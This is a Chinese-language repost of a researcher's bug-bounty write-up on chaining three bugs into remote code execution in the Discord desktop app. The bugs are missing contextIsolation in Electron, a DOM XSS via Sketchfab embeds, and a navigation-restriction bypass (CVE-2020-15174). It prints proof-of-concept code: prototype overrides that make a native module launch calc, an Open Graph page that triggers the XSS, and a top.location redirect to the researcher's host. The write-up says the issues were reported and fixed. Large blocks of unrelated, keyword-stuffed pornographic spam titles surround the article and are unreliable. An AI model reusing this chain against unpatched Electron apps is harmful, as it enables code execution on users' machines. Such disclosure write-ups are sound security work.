精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

綜合三個Bug實現Discord桌面應用RCE漏洞

安全 漏洞
本文講述了作者在參加Discord眾測的過程中,通過多個bug的綜合利用,成功發現了Discord桌面應用的遠程代碼執行漏洞(RCE),收獲了$5,300的獎勵。

本文講述了作者在參加Discord眾測的過程中,通過多個bug的綜合利用,成功發現了Discord桌面應用的遠程代碼執行漏洞(RCE),收獲了$5,300的獎勵。

Discord 是一款適用于游戲玩家一體化語音和文字聊天的即時通信(IM)軟件。 目前 Discord 已經覆蓋 Windows、MacOS、Android、iOS、Windows Phone等多種主流平臺。

我選擇測試Discord的原因

由于我對Electron架構的APP漏洞測試比較有經驗,而剛好Discord應用正是基于Electron架構開發的,且我也是一名Discord用戶,所以本著測試把玩的心態,我就對Discord進行了分析。

發現的漏洞

我發現了以下Discord應用存在的三個bug,綜合利用最終形成了RCE漏洞:

  • Missing contextIsolation(contextIsolation功能未啟用)
  • XSS in iframe embeds(iframe嵌入功能中的XSS)
  • Navigation 導航限制功能繞過 (Navigation restriction bypass,CVE-2020-15174)

contextIsolation功能未啟用(Missing contextIsolation)

在測試Electron架構時,通常我會先檢查BrowserWindow API的選項,當創建瀏覽器窗口時BrowserWindow API會被調用。測試時,我就在想,當Electron渲染器(renderer)加載時,怎樣的任意JS代碼執行才會引起RCE?

雖然Discord的Electron架構并不是開源的,但Electron的JS代碼是保存在應用本地,所以我是可以提取查看到的。通過本地JS代碼的查看,我發現在APP主界面后臺下,使用了以下方法函數:

  1. const mainWindowOptions = { 
  2.   title: 'Discord', 
  3.   backgroundColor: getBackgroundColor(), 
  4.   width: DEFAULT_WIDTH, 
  5.   height: DEFAULT_HEIGHT, 
  6.   minWidth: MIN_WIDTH, 
  7.   minHeight: MIN_HEIGHT, 
  8.   transparent: false, 
  9.   frame: false, 
  10.   resizable: true, 
  11.   show: isVisible, 
  12.   webPreferences: { 
  13.     blinkFeatures: 'EnumerateDevices,AudioOutputDevices', 
  14.     nodeIntegration: false, 
  15.     preload: _path2.default.join(__dirname, 'mainScreenPreload.js'), 
  16.     nativeWindowOpen: true, 
  17.     enableRemoteModule: false, 
  18.     spellcheck: true 
  19.   } 
  20. }; 

從上述代碼片段中,可以看出,我們著重需要檢查的是其中的nodeIntegration和contextIsolation配置,這里的nodeIntegration都被配置為了false,且原先未修改版本的和contextIsolation也被配置為了false。

如果nodeIntegration為true,那么web頁面的JS代碼可以通過調用require()方法使用Node.js功能。比如,在Windows系統中執行以下計算器calc.exe程序的代碼:

  1. <script> 
  2.   require('child_process').exec('calc'); 
  3. </script> 

而在Discord這里,nodeIntegration為false,所以我也不能調用require()去使用Node.js功能。然而,仍然存在一種訪問Node.js功能的方法。接下來且聽我慢慢解釋。

Discord中的另一重要功能contextIsolation也配置為了false,該功能用來隔離不信任的內容,所以,如果你想消除RCE,那么該功能就不應該配置為false。如果contextIsolation為false,那么web頁面中的JS可以影響Electron內部渲染時的JS代碼和預加載腳本執行,(這里Electron內部渲染時的JS代碼指Web頁面之外的JS腳本),例如,假設用Web頁面JS中的方法函數,把Electron內置JS的方法Array.prototype.join覆蓋掉,那么Web頁面之外的JS腳本在加載join方法時,就會調用后來被覆蓋的方法函數。

這種行為是很危險的,因為這樣一來,可以不用考慮nodeIntegration配置,直接用覆蓋的方式,就可以讓Electron允許Web頁面之外的JS腳本使用Node.js特性,這種方式即使在nodeIntegration配置為false的情況下,都還還可演變為RCE漏洞。

我順便提一下,類似的缺陷早在2016年我在Cure53公司時就已經發現了,當時我上報給了Electron安全團隊,后來在Electron架構中就引入了contextIsolation功能。以下為最近才公開的技術細節PDF:

  • https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view
  • https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en

contextIsolation功能的引入目的在于隔離Web頁面和Web頁面之外的JS代碼,讓它們在執行時不會產生相互影響。該功能非常有必要,因為如果存在不被信任的內容或操作,就會產生安全問題。而在Discord這里,該功能卻被配置為false,被禁用了。因此,遵循上述覆蓋JS腳本的方法,我對Discord的此處缺陷發起了測試。

由于Electron內置的JS代碼在渲染時可以在任意的Electron APP中執行,所以一般我測試Electron的RCE時,習慣首先在渲染時用Electron內置的JS代碼來測試。在我的文章中,我寫到了可以用Electron在執行navigation timing時的代碼來實現RCE,該缺陷不僅可以從代碼中發現,還可從其它地方發現(以后我會公布詳細的PoC實例)。但是,由于目標應用不同的Electron版本使用或BrowserWindow選項設置,Discord這里Electron運行啟動時,我實際測試的PoC總是不穩定,所以我把測試重點放在了預加載腳本上。

測試預加載腳本時,我發現Discord應用曝露了DiscordNative.nativeModules.requireModule('MODULE-NAME')方法函數,該函數功能在于可以通過其把一些模塊功能調用到Web頁面中去實現。然而,經測試發現,我并不能有效地調用類似child_process的模塊實現RCE,但卻可以用之前說過的覆蓋方法,覆蓋掉Discord Electron中內置的JS方法,干擾曝露模塊的執行,以此實現RCE。

以下為相關的PoC。當覆蓋掉Discord Electron中內置的RegExp.prototype.test和Array.prototype.join方法,調用"discord_utils"模塊中定義的getGPUDriverVersions方法函數時,可以觸發執行calc.exe程序:

  1. RegExp.prototype.test=function(){ 
  2.     return false; 
  3. Array.prototype.join=function(){ 
  4.     return "calc"; 
  5. DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); 

getGPUDriverVersions方法函數用來執行"execa"庫調用:

  1. module.exports.getGPUDriverVersions = async () => { 
  2.   if (process.platform !== 'win32') { 
  3.     return {}; 
  4.   } 
  5.  
  6.   const result = {}; 
  7.   const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; 
  8.  
  9.   try { 
  10.     result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); 
  11.   } catch (e) { 
  12.     result.nvidia = {error: e.toString()}; 
  13.   } 
  14.  
  15.   return result; 
  16. }; 

通常,"execa"庫又是用來執行nvidiaSmiPath變量中指定的"nvidia-smi.exe"顯卡程序的,但由于覆蓋掉了RegExp.prototype.test 和 Array.prototype.join方法,"execa"庫中nvidiaSmiPath變量名即被覆蓋為了"calc"。

具體來說,nvidiaSmiPath中的變量覆蓋需要改變以下兩個JS文件:

  • https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36
  • https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

到了這步,"nvidia-smi.exe"可以成功被替換為"calc",那么接下來只需找到執行JS代碼的方式即可成功實現RCE了。

iframe嵌入功能中的XSS

在我嘗試挖掘XSS的過程中,我發現Discord APP支持類似autolink或Markdown的功能,這有點意思。經測試,如果Discord用戶交流信息中有視頻帖子,如You-tube URL,那么這里類似Markdown的iframe嵌入功能即可顯示出視頻播放器(video player)來。

由于Discord涉及到用戶的各種社交交流信息,所以其支持Open Graph Protocol(開放內容協議),如果用戶交流信息中包含OGP信息,那么Discord應用即會顯示出其中出現的網頁標題、描述、縮略圖和一些相關的視頻內容。當用戶交流信息中的視頻URL鏈接被嵌入到iframe中后,Discord應用會提取出該視頻URL鏈接。后續,我無法查看到Discord應用相關的iframe嵌入功能說明文檔,就只好在其CSP frame-src 指令中尋找線索,發現其采用了以下CSP策略:

  1. Content-Security-Policy: [...] ; frame-src https://*.you-tube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com 

可以看到,其中列出了允許iframe嵌入的策略(如對You-Tube, Twitch, Spotify視頻的嵌入)。接下來,我就對這些域名一個一個進行測試,希望在其中能在iframe視頻嵌入時觸發XSS。經過測試,我發現域名sketchfab.com可以在iframe嵌入時產生XSS,這是一個簡單的DOM-based XSS。以下是我根據OGP協議制作的一個PoC,當我把該URL鏈接以聊天方式發送給另一位Discord用戶時,點擊其中的iframe,就會觸發任意的JS代碼執行:

https://l0.cm/discord_rce_og.html

  1. <head> 
  2.     <meta charset="utf-8"> 
  3.     <meta property="og:title" content="RCE DEMO"> 
  4.     [...] 
  5.     <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed"> 
  6.     <meta property="og:video:type" content="text/html"> 
  7.     <meta property="og:video:width" content="1280"> 
  8.     <meta property="og:video:height" content="720"> 
  9. </head> 

現在,雖然發現了XSS,但是觸發的JS代碼卻只能在iframe中執行。由于Electron不會把“Web頁面之外的JS代碼”加載進入iframe中,所以即使我覆蓋了其iframe內置的JS方法,還是不能調用Node.js相關功能。因此,要實現真正的RCE,還需要跳出iframe限制,在用戶瀏覽內容層面去考慮。這就需要在iframe框架中創建一個新窗口,或是從iframe中導航(navigating)到另一URL中的頂層窗口。

經過對相關代碼的分析,我發現Navigation restriction(導航限制)的主要代碼中用到了"new-window" 和 "will-navigate"兩個事件:

  1. mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => { 
  2.   e.preventDefault(); 
  3.   if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) { 
  4.     popoutWindows.openOrFocusWindow(e, windowURL, frameName, options); 
  5.   } else { 
  6.     _electron.shell.openExternal(windowURL); 
  7.   } 
  8. }); 
  9. [...] 
  10. mainWindow.webContents.on('will-navigate', (evt, url) => { 
  11.   if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) { 
  12.     evt.preventDefault(); 
  13.   } 
  14. }); 

只要突破這里,就可以在iframe框架中創建一個新窗口,或是從iframe中導航(navigating)到另一URL中的頂層窗口。然而,這里存在著一個讓我完全意想不到的缺陷。

Navigation restriction bypass (導航限制功能繞過,CVE-2020-15174)

在我對導航限制相關代碼進行檢查過程中,我本認為iframe對導航(navigation)應該是有限制的,但我驚奇地發現,iframe不知怎的對導航機制竟然沒有限制。我本來想著,"will-navigate"事件和preventDefault()會在導航動作繞過發生之前進行相關的捕捉或攔截,但是這卻沒有。

為了進行導航繞過測試,我創建了一個簡單的Electron應用,然后發現,頂部導航(top navigation)中的"will-navigate" 事件并不會從iframe中跳出,具體來說,如果頂部導航的所屬域和iframe的所屬域相同,"will-navigate" 事件會跳出,否則就不會跳出。這并不是一種合乎常理的操作行為,而是個Bug。有了這個Bug,我就能繞過導航限制了。最后,我要做的就是,導航到可以觸發XSS的iframe頁面,然后在其中包含進RCE Payload代碼。

  1. top.location="//l0.cm/discord_calc.html" 

最終,綜合利用以上三個Bug,我成功在Discord應用中實現的遠程代碼執行(RCE)。

POC視頻:https://tinyurl.com/y5nx6zjy

漏洞處理

我通過Discord眾測項目上報了這三個漏洞,之后,Discord安全團隊禁用了Sketchfab的嵌入功能,然后在iframe中加入了沙箱功能防止導航限制繞過,同時啟用了contextIsolation功能。我因此收獲了$5,000的漏洞獎勵。

https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

另外,其中的XSS漏洞上報給Sketchfab后,收獲了Sketchfab獎勵的$300;"will-navigate"事件Bug上報給Electron后,被分配了CVE-2020-15174的漏洞編號。

參考來源:mksben

 

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2022-02-14 07:54:27

漏洞WordPress

2014-12-05 10:41:22

2022-03-31 11:55:50

漏洞VoIP應用RCE漏洞

2018-08-29 05:33:52

2023-12-21 16:25:23

WeChatSnapchatShopee

2010-09-27 16:48:34

2022-11-10 09:57:24

2017-02-16 10:45:57

桌面Wiki

2024-03-01 12:39:40

2021-09-16 15:06:33

漏洞管理漏洞網絡攻擊

2024-02-18 17:03:41

2010-04-19 09:31:44

KDE

2025-08-08 02:00:00

AI應用開發

2016-09-13 22:28:08

云計算saaspaas

2010-08-30 16:14:26

DHCP實驗

2021-04-30 13:42:04

漏洞惡意代碼網絡攻擊

2020-06-11 09:00:27

SDN網絡架構網絡

2012-05-09 09:49:57

移動支付

2011-07-10 14:23:58

投影儀用戶體驗

2022-03-31 14:55:31

網絡安全漏洞
點贊
收藏

51CTO技術棧公眾號

亚洲制服丝袜在线播放| 亚洲一区高清| 欧产日产国产69| 精品视频黄色| 91精品欧美综合在线观看最新 | 久久米奇亚洲| 精品一二三四区| 97精品国产97久久久久久| 无码人妻精品一区二区中文| 91精品国产一区二区在线观看| 一区二区久久久| 农村寡妇一区二区三区| 国产毛片毛片毛片毛片毛片| 亚洲日本免费| 日韩在线免费观看视频| 91玉足脚交白嫩脚丫| 成人午夜sm精品久久久久久久| 亚洲在线视频网站| 亚洲精品一区二区毛豆| 视频二区在线观看| 久久精品国产免费| 欧美专区在线视频| 免费在线看黄网址| 日韩综合在线| 亚洲男人天堂久| 人妻 日韩 欧美 综合 制服| 国精品产品一区| 亚洲国产精品久久艾草纯爱| 一区视频二区视频| 黄色视屏网站在线免费观看| 国产精品69久久久久水密桃| 国产热re99久久6国产精品| 国产成人自拍视频在线| 中文字幕人成人乱码| 中文字幕亚洲无线码a| av直播在线观看| 国产伦精品一区二区三区免费优势| 欧美日韩在线电影| 国产成人手机视频| 中文字幕在线中文字幕在线中三区| 伊人性伊人情综合网| 在线视频91| 浮生影视网在线观看免费| 91麻豆免费看片| 国产成人成网站在线播放青青| 国产在成人精品线拍偷自揄拍| 日韩国产精品久久久| 国产91在线视频| 黄色片网站在线免费观看| 一本色道88久久加勒比精品| 国语自产精品视频在线看| 欧美日韩亚洲国产另类| 欧美黄在线观看| 欧美精品免费播放| 欧美成人精品一区二区免费看片| 97在线精品| 亚洲亚裔videos黑人hd| 少妇毛片一区二区三区| 高清一区二区三区| 欧美大黄免费观看| 又色又爽又高潮免费视频国产| 三级在线观看视频| 午夜精品福利在线| 97在线国产视频| 天天色天天射天天综合网| 亚洲视频 欧洲视频| 亚洲女人毛片| 91精彩在线视频| 中文一区二区完整视频在线观看| 青青草成人激情在线| 牛牛影视精品影视| 国产婷婷色一区二区三区四区| 国产精品一区二区三区不卡| 天天综合网天天综合| 成人激情午夜影院| 国偷自产av一区二区三区小尤奈| 蜜桃视频久久一区免费观看入口| 国产剧情av麻豆香蕉精品| 91九色蝌蚪国产| 国产精品午夜福利| 国产精品456| 国产精品手机视频| 四虎影视精品成人| 国产人久久人人人人爽| 少妇免费毛片久久久久久久久 | 午夜精品网站| 久久全球大尺度高清视频| 日韩无码精品一区二区三区| 国产深夜精品| 国产精品69av| 91精品国产乱码久久久| 国产久卡久卡久卡久卡视频精品| 亚洲精品欧美日韩| 亚洲爆乳无码一区二区三区| 国产.欧美.日韩| 欧美人xxxxx| 在线a免费看| 一区二区国产盗摄色噜噜| 免费在线观看视频a| 电影久久久久久| 欧美精品v国产精品v日韩精品| 69久久精品无码一区二区 | 日日噜噜夜夜狠狠视频欧美人 | 成人小视频在线| 久久99精品久久久久久青青日本| 国产小视频在线| 国产亚洲欧美日韩在线一区| 亚洲人成77777| sm捆绑调教国产免费网站在线观看| 欧美性色19p| www.超碰97.com| 超碰在线一区| 中国日韩欧美久久久久久久久| 国产67194| 亚洲精品一二| 日韩av快播网址| 成人午夜免费福利| 中文一区在线播放| 男人的天堂狠狠干| 日本一区二区三区中文字幕| 精品国产一区二区在线观看| 97人妻人人揉人人躁人人| 欧美福利在线| 国产激情999| 粉嫩av一区二区夜夜嗨| 国产精品久久久久影院| 欧美丰满熟妇bbbbbb百度| 成人视屏在线观看| 亚洲第一黄色网| 日本女人性生活视频| 一本久道久久久| 亚洲最大成人在线| 国产在线小视频| 天天综合色天天综合| 黄色片免费网址| 激情五月综合网| 欧美一区二区三区免费视| 99久久国产免费| 国产欧美1区2区3区| 每日在线更新av| 日本少妇精品亚洲第一区| 中文字幕亚洲第一| 国产成人一级片| 成人v精品蜜桃久久一区| 亚洲精品中字| 99热播精品免费| 日韩精品中文字| 国产无码精品一区二区| 国产成人免费视频网站| 免费国产成人看片在线| 涩涩涩久久久成人精品| 国产视频久久久| 国产成人无码一区二区在线播放| 成人免费视频一区| 日韩国产成人无码av毛片| 美女精品久久| 欧美成人网在线| 国产视频手机在线观看| 国产精品丝袜91| av在线无限看| 国模吧精品视频| 97人人做人人爱| 国产91免费看| 亚洲18色成人| 亚洲啪av永久无码精品放毛片| 欧美在线观看天堂一区二区三区| 国产欧美一区二区三区在线| av色图一区| 精品视频1区2区| 999精品在线视频| 麻豆精品视频在线观看视频| 亚洲一区三区电影在线观看| 成人全视频在线观看在线播放高清 | 欧美女人性生活视频| 久久91在线| 欧美中在线观看| 国产精品麻豆一区二区三区| 欧美中文字幕久久 | 久久久99久久| 国产极品尤物在线| 欧美电影在线观看完整版| 91精品国产免费久久久久久| 五十路在线观看| 第一福利永久视频精品| 久久久久久九九九九九| 免费成人av资源网| 四虎4hu永久免费入口| swag国产精品一区二区| 2020久久国产精品| 国产视频网址在线| 欧美精品精品一区| 日本午夜小视频| 国产亚洲一本大道中文在线| 亚洲综合婷婷久久| 欧美日韩精品| 精品亚洲第一| 自拍偷自拍亚洲精品被多人伦好爽| 久久亚洲精品网站| 无码国产精品96久久久久| 色嗨嗨av一区二区三区| 极品美妇后花庭翘臀娇吟小说| 东方欧美亚洲色图在线| 四虎永久在线精品无码视频| 国产大片一区| 久久精品人成| 四虎影视成人精品国库在线观看| 久久久久在线观看| h网站在线免费观看| 欧美白人最猛性xxxxx69交| 欧美h在线观看| 国产精品久99| 亚洲一区二区自偷自拍| 国产黄人亚洲片| 欧美日韩亚洲一二三| 天天做天天爱天天综合网2021| 国产精品区一区二区三在线播放| 日韩一区二区三区免费| 欧美激情精品久久久久久免费印度| 青青草免费在线| 91精品婷婷国产综合久久| 懂色av中文字幕| 亚洲一区二区在线视频| 免费看黄色av| 成人国产免费视频| 色播五月综合网| 99热精品在线| 99er在线视频| 91欧美日韩| 欧美午夜精品久久久久免费视| 精品国产亚洲一区二区三区| 国产成人精品久久| 精灵使的剑舞无删减版在线观看| 一区二区成人av| 香蕉视频国产在线| 欧美成人乱码一区二区三区| 影音先锋国产在线| 亚洲高清视频的网址| 欧美片一区二区| 中文字幕一区二区在线观看| 大黑人交xxx极品hd| 国产91精品一区二区麻豆网站| 亚洲第一狼人区| 日韩激情视频网站| 北条麻妃69av| 好吊一区二区三区| 老子影院午夜伦不卡大全| 午夜久久免费观看| 婷婷亚洲婷婷综合色香五月| 色婷婷久久久| 精品亚洲欧美日韩| 欧美成人午夜77777| 国产精品xxxx| 日韩精品久久久久久久软件91| 亚洲在线免费观看| 成人短视频软件网站大全app| 国产精品黄视频| 欧美日韩五码| 日韩免费观看在线观看| 3d欧美精品动漫xxxx无尽| 日本电影亚洲天堂| 欧美黄色网页| 国产999在线观看| 欧美大片1688| 日本免费一区二区三区视频观看| 在线手机中文字幕| 欧美一级淫片videoshd| 暖暖成人免费视频| 91成人免费观看网站| 欧美精选视频一区二区| 国产精品亚洲一区二区三区| 欧美系列精品| 91亚洲国产精品| 亚洲一二av| 国产综合av一区二区三区| 国产精品色在线网站| 久久综合九色欧美狠狠| 视频精品在线观看| 日本一区二区三区视频免费看| 精品日本12videosex| 日韩欧美一区二区三区四区 | 亚洲一区三区视频在线观看 | 国产裸体歌舞团一区二区| 欧美xxxx黑人| 99久久精品国产导航| 自拍偷拍视频亚洲| 国产精品久久久久久久久动漫 | 国产精品久久久久av| 国产亚洲人成a在线v网站| 91九色国产视频| 亚洲女娇小黑人粗硬| 日韩久久久久久久| 91精品国产福利在线观看麻豆| 欧美美女黄色网| 美日韩精品视频| 欧美又黄又嫩大片a级| 国产一区二区免费视频| 亚洲精品一区二区18漫画| 99久久综合色| 午夜影院黄色片| 亚洲你懂的在线视频| 国产无遮挡又黄又爽| 一本大道久久a久久精二百 | av国产在线观看| 欧美超级免费视 在线| 日本不卡网站| 国产在线a不卡| 精品网站aaa| 久久久久久九九九九| 欧美激情 亚洲a∨综合| 无码人妻丰满熟妇区五十路百度| 激情综合五月婷婷| 亚洲专区区免费| 樱花草国产18久久久久| 免费黄色av片| 欧美一级日韩不卡播放免费| 黄色片在线免费观看| 欧美激情视频免费观看| 欧美影视资讯| 国产精品12| 久久伦理在线| 日本精品一区二区三区四区 | 亚洲一区二区三区小说| 国产裸体美女永久免费无遮挡| 日韩欧美中文字幕精品| 国产在线电影| 4k岛国日韩精品**专区| 伦一区二区三区中文字幕v亚洲| 欧美aaaaa喷水| 国内精品美女在线观看| 国产一伦一伦一伦| 久久综合久久鬼色中文字| 久久久久久免费观看| 欧美日韩精品一区二区三区四区 | 欧美一区二区三区电影| av网在线观看| 国产精品久久久| 婷婷亚洲成人| 国产原创popny丨九色| 国产精品一色哟哟哟| 林心如三级全黄裸体| 在线日韩国产精品| 天天干在线观看| 欧美第一页在线| 国产日本亚洲| 久久免费看毛片| 久久精品国产久精国产| 少妇av片在线观看| 在线免费不卡电影| 青青青草原在线| 欧美最顶级的aⅴ艳星| 狼人天天伊人久久| 成品人视频ww入口| 另类的小说在线视频另类成人小视频在线 | 欧美凹凸一区二区三区视频| 99在线|亚洲一区二区| 欧美69精品久久久久久不卡 | 久久免费99精品久久久久久| 91成人影院| 欧美美女一级片| 国产精品成人一区二区艾草| 日批视频免费观看| 国产一区二区三区丝袜| 怡红院成人在线| 日韩偷拍一区二区| 免费不卡在线观看| 91精品国产高清一区二区三蜜臀| 日韩一区二区高清| 天天干在线视频论坛| 国产精品一区二区欧美| 夜夜夜久久久| mm131丰满少妇人体欣赏图| 欧美性猛交xxxx富婆| 黄色片视频在线观看| 国产精品一区久久久| 99久久夜色精品国产亚洲1000部| 特黄视频免费观看| 亚洲免费观看高清在线观看| 国产免费无遮挡| 97久久伊人激情网| 国产精品自拍区| 久久撸在线视频| 一区二区日韩电影| 天天干天天爱天天操| 日本一区二区在线播放| 精品一区二区三区中文字幕老牛| 无码少妇一区二区三区芒果| 国产精品国产精品国产专区不片| 97人妻精品一区二区三区视频| 九九久久精品一区| 九色丨蝌蚪丨成人| 女人和拘做爰正片视频| 亚洲欧洲国产专区| japanese国产| 欧美性做爰毛片| 日韩1区2区| 亚洲精品鲁一鲁一区二区三区| 午夜国产不卡在线观看视频| 免费在线视频欧美| 国产福利久久精品| 久久精品国语|